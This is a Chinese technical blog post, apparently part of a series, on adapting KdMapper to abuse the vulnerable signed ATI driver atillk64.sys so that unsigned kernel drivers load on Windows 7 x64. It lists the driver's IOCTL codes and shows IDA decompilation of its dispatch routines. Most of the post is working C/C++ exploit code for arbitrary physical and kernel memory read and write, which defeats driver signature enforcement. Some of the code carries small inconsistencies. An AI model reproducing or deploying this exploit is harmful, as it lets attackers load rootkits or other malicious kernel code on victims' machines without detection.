1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | atillk64.sys |
时间戳 | 4321D736 |
MD5 | 26D973D6D9A0D133DFDA7D8C1ADC04B7 |
文件版本 | 5.11.9.0 |
设备名称 | \\.\atillk64 |
读物理内存 | 0x9C402544 |
写物理内存 | 0x9C402548 |
映射物理内存到用户空间 | 0x9C402564 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
unsigned __int64 v2; // rax
v2 = qword_13108;
if (!qword_13108 || qword_13108 == 0x2B992DDFA232i64)
{
v2 = ((unsigned __int64)&qword_13108 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
if (!v2)
v2 = 0x2B992DDFA232i64;
qword_13108 = v2;
}
qword_13100 = ~v2;
return sub_119B0(DriverObject);
}
3.2 创建设备和符号链接
__int64 __fastcall sub_119B0(PDRIVER_OBJECT DriverObject)
{
NTSTATUS v2; // ebx
_QWORD* v3; // rcx
struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h] BYREF
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11940;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_11940;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_11940;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)RxInitializeDispatchVectors;
RtlInitUnicodeString(&DestinationString, L"\\Device\\atillk64");
v2 = IoCreateDevice(DriverObject, 0x10u, &DestinationString, 0x22u, 0, 0, &DeviceObject);
if (v2 >= 0)
{
v3 = DeviceObject->DeviceExtension;
*v3 = 0i64;
v3[1] = 0i64;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\atillk64");
v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (v2 < 0)
{
IoDeleteDevice(DeviceObject);
return (unsigned int)v2;
}
DeviceObject->Flags |= 4u;
*(_QWORD*)DeviceObject->DeviceExtension = DeviceObject;
}
return (unsigned int)v2;
}
3.3 MainDispatch
主要的IRP处理函数为 sub_11940,其代码如下:
__int64 __fastcall sub_11940(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
_IO_STACK_LOCATION* pIosp; // r8
unsigned int ntStatus; // ebx
UCHAR nControlCode; // al
_DWORD* v5; // rcx
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
ntStatus = 0;
pIrp->IoStatus.Information = 0i64;
nControlCode = pIosp->MajorFunction;
v5 = pDeviceObject->DeviceExtension;
if (pIosp->MajorFunction && nControlCode != 2)
{
if (nControlCode == 14)
{
v5[2] = pIosp->Parameters.DeviceIoControl.IoControlCode;
ntStatus = sub_11010((__int64)v5, pIrp, pIosp, pIosp->Parameters.DeviceIoControl.IoControlCode);
}
else
{
ntStatus = 0xC000000D;
}
}
pIrp->IoStatus.Status = ntStatus;
IofCompleteRequest(pIrp, 0);
return ntStatus;
}
3.4 IRP_MJ_DEVICE_CONTROL
IRP_MJ_DEVICE_CONTROL对应的函数 sub_11010,其关键代码如下:
__int64 __fastcall sub_11010(__int64 pDeviceExtension, _IRP* pIrp, _IO_STACK_LOCATION* pIosp, int nIoControlCode)
{
__int64 nOutputBufferLength; // r10
ULONG nInputBufferLength; // edx
ATILLK_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rdi
PVOID v8; // rax
void* pMappedAddress; // r12
__int64 result; // rax
_MDL* pMdl; // rax
_MDL* pMdlLocked; // rsi
PVOID pLockedPages; // rbx
PVOID pMappedAddressV20; // rax
_BYTE* pMappedAddressCopyTo; // rax
SIZE_T v25; // rdx
SIZE_T nMapSizeFromCopy; // rbx
_BYTE* pMappedAddressFromCopy; // rax
SIZE_T nCopyFromCount; // rdx
signed __int64 nCopyFromOffset; // r8
char pCopyFromBuffer; // cl
SIZE_T nMapSizeCopyTo; // rbx
_BYTE* pCopyToBuffer; // r8
LONGLONG nCopyToOffset; // r10
SIZE_T v51; // r9
char v52; // cl
......
nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
pPhysicalMomoryInfo = (ATILLK_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
switch (nIoControlCode)
{
......
case 0x9C402544:
if (nInputBufferLength != 16 || pPhysicalMomoryInfo->MapSize.QuadPart != nOutputBufferLength)// 从pPhysicalMomoryInfo的MapAddressInputOut复制到Content
goto LABEL_96;
nMapSizeFromCopy = pPhysicalMomoryInfo->MapSize.LowPart;
pMappedAddressFromCopy = MmMapIoSpace(pPhysicalMomoryInfo->PhysicalAddress, nMapSizeFromCopy, MmNonCached);
if ((_DWORD)nMapSizeFromCopy)
{
nCopyFromCount = nMapSizeFromCopy;
nCopyFromOffset = pMappedAddressFromCopy - (_BYTE*)pPhysicalMomoryInfo;
do
{
pCopyFromBuffer = *((_BYTE*)&pPhysicalMomoryInfo->PhysicalAddress.QuadPart + nCopyFromOffset);
pPhysicalMomoryInfo = (ATILLK_PHYSICAL_MEMORY_INFO*)((char*)pPhysicalMomoryInfo + 1);
--nCopyFromCount;
HIBYTE(pPhysicalMomoryInfo[0xFFFFFFFF].Content.QuadPart) = pCopyFromBuffer;
} while (nCopyFromCount);
}
goto LABEL_88;
case 0x9C402548:
if (nInputBufferLength != 24) // 从pPhysicalMomoryInfo的Content复制到MapAddressInputOut
goto LABEL_96;
nMapSizeCopyTo = pPhysicalMomoryInfo->MapSize.LowPart;
pMappedAddressCopyTo = MmMapIoSpace(pPhysicalMomoryInfo->PhysicalAddress, nMapSizeCopyTo, MmNonCached);
if ((_DWORD)nMapSizeCopyTo)
{
pCopyToBuffer = pMappedAddressCopyTo;
nCopyToOffset = pPhysicalMomoryInfo->Content.QuadPart - (_QWORD)pMappedAddressCopyTo;
v51 = nMapSizeCopyTo;
do
{
v52 = (pCopyToBuffer++)[nCopyToOffset];
--v51;
*(pCopyToBuffer - 1) = v52;
} while (v51);
}
v25 = nMapSizeCopyTo;
LABEL_94:
MmUnmapIoSpace(pMappedAddressCopyTo, v25);
result = 0i64;
pIrp->IoStatus.Information = 0i64;
return result;
case 0x9C402564:
if (nInputBufferLength != 24) // -----------------------先映射物理内存到系统地址空间,再将系统地址空间映射到用户空间
goto LABEL_96;
pMappedAddressV20 = MmMapIoSpace(
pPhysicalMomoryInfo->PhysicalAddress,
pPhysicalMomoryInfo->MapSize.LowPart,
(MEMORY_CACHING_TYPE)(pPhysicalMomoryInfo->Content.QuadPart != 0));
pMappedAddress = pMappedAddressV20;
if (!pMappedAddressV20)
goto LABEL_25;
pMdl = IoAllocateMdl(pMappedAddressV20, pPhysicalMomoryInfo->MapSize.LowPart, 0, 0, 0i64);
pMdlLocked = pMdl;
if (pMdl)
{
LABEL_20:
MmBuildMdlForNonPagedPool(pMdl);
pLockedPages = MmMapLockedPages(pMdlLocked, 1);
IoFreeMdl(pMdlLocked);
MmUnmapIoSpace(pMappedAddress, pPhysicalMomoryInfo->MapSize.LowPart);
pPhysicalMomoryInfo->PhysicalAddress.QuadPart = (LONGLONG)pLockedPages;
pIrp->IoStatus.Information = 8i64;
result = 0i64;
}
else
{
LABEL_24:
MmUnmapIoSpace(pMappedAddress, pPhysicalMomoryInfo->MapSize.LowPart);
LABEL_25:
result = 0xC000009Ai64;
}
break;
LABEL_88:
MmUnmapIoSpace(pMappedAddressFromCopy, nMapSizeFromCopy);
pIrp->IoStatus.Information = nMapSizeFromCopy;
return 0i64;
......
LABEL_96:
pIrp->IoStatus.Information = 0i64;
LABEL_97:
result = 0xC000000Di64;
}
break;
default:
goto LABEL_97;
}
return result;
}
- 读物理内存 0x9C402544
从ATILLK_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress复制数据到ATILLK_PHYSICAL_MEMORY_INFO的内容地址Content。
- 写物理内存 0x9C402548
从ATILLK_PHYSICAL_MEMORY_INFO的内容地址Content复制数据到ATILLK_PHYSICAL_MEMORY_INFO的物理地址PhysicalAddress。
- 映射物理内存到用户空间 0x9C402564
将ATILLK_PHYSICAL_MEMORY_INFO指定的物理地址PhysicalAddress通过MmMapLockedPages映射至用户空间,并返回给ATILLK_PHYSICAL_MEMORY_INFO的PhysicalAddress。
3.5 ATILLK_PHYSICAL_MEMORY_INFO结构
00000000 ATILLK_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x18, copyof_386)
00000000 PhysicalAddress _LARGE_INTEGER ?
00000008 anonymous_0 ATILLK_PHYSICAL_MEMORY_INFO::$82A02090ACAE73A5CD3D376386F59A57 ?
00000010 Content _LARGE_INTEGER ?
00000018 ATILLK_PHYSICAL_MEMORY_INFO ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 ATILLK_PHYSICAL_MEMORY_INFO::$82A02090ACAE73A5CD3D376386F59A57 union ; (sizeof=0x8, copyof_385)
00000000 ; XREF: ATILLK_PHYSICAL_MEMORY_INFO/r
00000000 MappedMdl dq ? ; offset
00000000 MapSize LARGE_INTEGER ?
00000000 ATILLK_PHYSICAL_MEMORY_INFO::$82A02090ACAE73A5CD3D376386F59A57 ends
3.6 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct _ATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO {
_LARGE_INTEGER PhysicalAddress;
union
{
PVOID MappedMdl;
LARGE_INTEGER MapSize;
};
_LARGE_INTEGER Content;
} ATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO, *PATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO;
typedef struct _ATILLK64_READ_PHYSICAL_MEMORY_INFO {
_LARGE_INTEGER PhysicalAddress;
LARGE_INTEGER MapSize;
} ATILLK64_READ_PHYSICAL_MEMORY_INFO, * PATILLK64_READ_PHYSICAL_MEMORY_INFO;
typedef struct _ATILLK64_WRITE_PHYSICAL_MEMORY_INFO {
_LARGE_INTEGER PhysicalAddress;
LARGE_INTEGER MapSize;
LARGE_INTEGER Content;
} ATILLK64_WRITE_PHYSICAL_MEMORY_INFO, * PATILLK64_WRITE_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define ATILLK64_DEVICE_TYPE (DWORD)0x9C40
#define ATILLK64_READ_PHYSICAL_MEMORY (DWORD)0x951
#define ATILLK64_WRITE_PHYSICAL_MEMORY (DWORD)0x952
#define ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID (DWORD)0x959
#define IOCTL_ATILLK64_READ_PHYSICAL_MEMORY \
CTL_CODE(ATILLK64_DEVICE_TYPE, ATILLK64_READ_PHYSICAL_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402544
#define IOCTL_ATILLK64_WRITE_PHYSICAL_MEMORY \
CTL_CODE(ATILLK64_DEVICE_TYPE, ATILLK64_WRITE_PHYSICAL_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402548
#define IOCTL_ATILLK64_MAP_PHYSICAL_MEMORY_WITH_UNMAP \
CTL_CODE(ATILLK64_DEVICE_TYPE, ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402564
4.2 .c文件
NTSTATUS ati_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL ati_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID ati_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
_In_ PVOID* MDLReturn)
{
ULONG_PTR offset;
ULONG mapSize;
ATILLK64_MAP_UNMAP_PHYSICAL_MEMORY_INFO request = { 0 };
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.PhysicalAddress.QuadPart = offset;
request.MapSize.QuadPart = mapSize;
if (SuperCallDriver(DeviceHandle,
IOCTL_ATILLK64_MAP_PHYSICAL_MEMORY_WITH_UNMAP,
&request,
sizeof(request),
&request,
sizeof(request)))
{
if (MDLReturn)
{
*MDLReturn = request.MappedMdl;
}
return (PVOID)request.PhysicalAddress.QuadPart;
}
return NULL;
}
VOID ati_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID Address,
_In_ PVOID MDL,
ULONG NumberOfBytes
)
{
UNREFERENCED_PARAMETER(DeviceHandle);
UNREFERENCED_PARAMETER(Address);
UNREFERENCED_PARAMETER(MDL);
UNREFERENCED_PARAMETER(NumberOfBytes);
/*
if (!Address)
{
Log(L"[!] SuperUnmapMemory, Address is Null\r\n");
return;
}
if (!MDL)
{
Log(L"[!] SuperUnmapMemory, MDL is Null\r\n");
return;
}
ATILLK64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.PhysicalAddress.QuadPart = (LONGLONG)Address;
request.Content.QuadPart = (LONGLONG)MDL;
request.MapSize = NumberOfBytes;
SuperCallDriver(DeviceHandle,
IOCTL_ATILLK64_UNMAP_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));*/
}
BOOL WINAPI ati_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
if (!g_bUseMapMemory)
{
return SuperReadWritePhysicalMemoryDirectInternal(DeviceHandle, PhysicalAddress, Buffer, NumberOfBytes, DoWrite);
}
else
{
return SuperReadWritePhysicalMemoryMapInternal(DeviceHandle, PhysicalAddress, Buffer, NumberOfBytes, DoWrite);
}
}
BOOL WINAPI ati_driver::SuperReadWritePhysicalMemoryDirectInternal(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
__try
{
if (DoWrite)
{
ATILLK64_WRITE_PHYSICAL_MEMORY_INFO memoryInfo = { 0 };
memoryInfo.PhysicalAddress.QuadPart = PhysicalAddress;
memoryInfo.MapSize.QuadPart = NumberOfBytes;
memoryInfo.Content.QuadPart = (LONGLONG)Buffer;
if (SuperCallDriver(DeviceHandle,
IOCTL_ATILLK64_WRITE_PHYSICAL_MEMORY,
&memoryInfo,
sizeof(memoryInfo),
&memoryInfo,
sizeof(memoryInfo)))
{
bResult = TRUE;
}
else
{
Log(L"[!] Failed Write PhysicalMemory!" << std::endl);
}
}
else
{
ATILLK64_READ_PHYSICAL_MEMORY_INFO memoryInfo = { 0 };
memoryInfo.PhysicalAddress.QuadPart = PhysicalAddress;
memoryInfo.MapSize.QuadPart = NumberOfBytes;
ULONG ulSize = NumberOfBytes + sizeof(ATILLK64_READ_PHYSICAL_MEMORY_INFO);
PBYTE pInputBuffer = (PBYTE)malloc(ulSize);
if (pInputBuffer)
{
RtlZeroMemory(pInputBuffer, ulSize);
RtlCopyMemory(pInputBuffer, &memoryInfo, sizeof(memoryInfo));
if (SuperCallDriver(DeviceHandle,
IOCTL_ATILLK64_READ_PHYSICAL_MEMORY,
pInputBuffer,
sizeof(memoryInfo),
/*pInputBuffer+sizeof(memoryInfo)*/
Buffer,
NumberOfBytes))
{
// RtlCopyMemory(Buffer, pInputBuffer + sizeof(memoryInfo), NumberOfBytes);
bResult = TRUE;
}
else
{
Log(L"[!] Failed Read PhysicalMemory!" << std::endl);
}
free(pInputBuffer);
}
else
{
Log(L"[!] Failed Read PhysicalMemory, malloc failed@" << std::endl);
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error SuperReadWritePhysicalMemoryDirectInternal Exception!" << std::endl);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI ati_driver::SuperReadWritePhysicalMemoryMapInternal(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID pMappedAddress = NULL;
PVOID pMappedMDL = NULL;
ULONG_PTR offset = 0;
pMappedAddress = SuperMapMemory(DeviceHandle, PhysicalAddress, NumberOfBytes, &pMappedMDL);
if (pMappedAddress)
{
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(RtlOffsetToPointer(pMappedAddress, offset), Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, RtlOffsetToPointer(pMappedAddress, offset), NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error SuperReadWritePhysicalMemoryMapInternal Exception!" << std::endl);
}
//SuperUnmapMemory(DeviceHandle, pMappedAddress, pMappedMDL, NumberOfBytes);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI ati_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI ati_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI ati_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
5. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
6.特别提示
使用atillk64.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。